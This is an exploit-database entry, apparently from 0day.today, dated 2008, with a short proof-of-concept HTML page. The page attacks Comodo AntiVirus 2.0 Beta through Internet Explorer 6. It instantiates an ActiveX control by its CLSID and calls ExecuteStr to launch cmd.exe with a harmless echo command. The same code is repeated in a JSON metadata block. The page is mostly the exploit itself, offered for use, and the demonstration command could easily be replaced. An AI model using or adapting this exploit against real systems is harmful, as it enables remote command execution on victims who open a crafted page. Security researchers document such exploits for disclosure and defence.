Search...

Comodo AntiVirus 2.0 ExecuteStr() Remote Command Execution Exploit

2008-01-23T00:00:00

ID 1337DAY-ID-9120
Type zdt
Reporter h07
Modified 2008-01-23T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            ==================================================================
Comodo AntiVirus 2.0 ExecuteStr() Remote Command Execution Exploit
==================================================================

&lt;!--
Comodo AntiVirus 2.0 ExecuteStr() 0day Remote Command Execution Exploit
Bug discovered by Krystian Kloskowski (h07) &lt;[email protected]&gt;
Tested on:..
- Comodo AntiVirus Beta 2.0
- Microsoft Internet Explorer 6
Just for fun  ;)  
--&gt;

&lt;html&gt;
&lt;object id="obj" classid="clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176"&gt;&lt;/object&gt;

&lt;script&gt;
obj.ExecuteStr('cmd.exe', '/C echo "hello world" && pause');
&lt;/script&gt;

&lt;/html&gt;



#  0day.today [2018-01-02]  #

JSON Vulners Source

Initial Source

{"published": "2008-01-23T00:00:00", "id": "1337DAY-ID-9120", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for unknown platform in category remote exploits", "enchantments": {"score": {"value": 1.0, "vector": "NONE", "modified": "2018-01-02T23:00:05", "rev": 2}, "dependencies": {"references": [], "modified": "2018-01-02T23:00:05", "rev": 2}, "vulnersScore": 1.0}, "type": "zdt", "lastseen": "2018-01-02T23:00:05", "edition": 2, "title": "Comodo AntiVirus 2.0 ExecuteStr() Remote Command Execution Exploit", "href": "https://0day.today/exploit/description/9120", "modified": "2008-01-23T00:00:00", "bulletinFamily": "exploit", "viewCount": 3, "cvelist": [], "sourceHref": "https://0day.today/exploit/9120", "references": [], "reporter": "h07", "sourceData": "==================================================================\r\nComodo AntiVirus 2.0 ExecuteStr() Remote Command Execution Exploit\r\n==================================================================\r\n\r\n\r\n\r\n<html>\r\n<object id=\"obj\" classid=\"clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176\"></object>\r\n\r\n<script>\r\nobj.ExecuteStr('cmd.exe', '/C echo \"hello world\" && pause');\r\n</script>\r\n\r\n</html>\r\n\r\n\r\n\n# 0day.today [2018-01-02] #", "immutableFields": []}